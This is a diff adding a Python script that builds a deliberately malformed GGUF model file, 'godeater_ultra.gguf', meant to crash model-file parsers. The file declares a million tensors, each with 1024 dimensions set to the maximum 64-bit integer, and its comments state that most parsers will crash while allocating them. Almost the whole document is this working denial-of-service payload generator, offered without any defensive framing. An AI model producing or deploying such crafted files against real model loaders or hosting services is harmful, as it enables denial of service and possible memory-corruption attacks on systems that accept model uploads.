Upload I’m.py

I’m.py

@@ -0,0 +1,77 @@
+import struct
+
+# -----------------------------
+# CONFIG — THE MATHEMATICAL CEILING
+# -----------------------------
+FILENAME = "godeater_ultra.gguf"
+
+GGUF_VERSION = 3
+TYPE_F32 = 0  # 4 bytes per element
+
+# Limits
+MAX_U32 = 4294967295
+MAX_U64 = 18446744073709551615
+MAX_I64 = 9223372036854775807
+
+# We'll use a massive amount of dimensions and tensors
+# Note: Most parsers will crash instantly attempting to allocate the dim array
+N_DIMENSIONS = 1024 # Technically can go to MAX_U32, but 1024 is already "infinite"
+NUM_TENSORS = 1000000 
+
+ALIGNMENT = 32
+
+# -----------------------------
+# Helpers
+# -----------------------------
+def write_u32(f, x): f.write(struct.pack("<I", x))
+def write_u64(f, x): f.write(struct.pack("<Q", x))
+def write_i64(f, x): f.write(struct.pack("<q", x))
+
+# -----------------------------
+# Build GGUF
+# -----------------------------
+print(f"[*] Constructing {FILENAME}...")
+
+with open(FILENAME, "wb") as f:
+    # 1. Header
+    f.write(b"GGUF")
+    write_u32(f, GGUF_VERSION)
+    write_u64(f, NUM_TENSORS) # Number of tensors
+    write_u64(f, 0)           # Metadata KV count
+
+    # 2. Tensor Info (The Metadata)
+    for i in range(NUM_TENSORS):
+        name = f"depths_of_madness_{i}".encode()
+        
+        write_u64(f, len(name))
+        f.write(name)
+        
+        write_u32(f, N_DIMENSIONS)
+        
+        # Every dimension is MAX_I64
+        for _ in range(N_DIMENSIONS):
+            write_i64(f, MAX_I64)
+            
+        write_u32(f, TYPE_F32)
+        write_u64(f, 0) # Offset (all pointing to index 0)
+
+    # 3. Data Padding
+    pos = f.tell()
+    pad_len = (ALIGNMENT - (pos % ALIGNMENT)) % ALIGNMENT
+    f.write(b"\x00" * pad_len)
+
+    # 4. The "Data" (The actual file size remains tiny)
+    f.write(b"\xFF" * 4096)
+
+# -----------------------------
+# The Math
+# -----------------------------
+# Total params = Tensors * (Max_I64 ^ N_Dimensions)
+params_per_tensor = MAX_I64 ** N_DIMENSIONS
+total_params = params_per_tensor * NUM_TENSORS
+
+print(f"\n[+] File Created: {FILENAME}")
+print(f"[+] Dimensions per tensor: {N_DIMENSIONS}")
+print(f"[+] Total Tensors: {NUM_TENSORS:,}")
+print(f"[+] Total Parameters: ~10^({(N_DIMENSIONS * 18.96) + 6:.0f})") 
+# 18.96 is roughly log10(MAX_I64)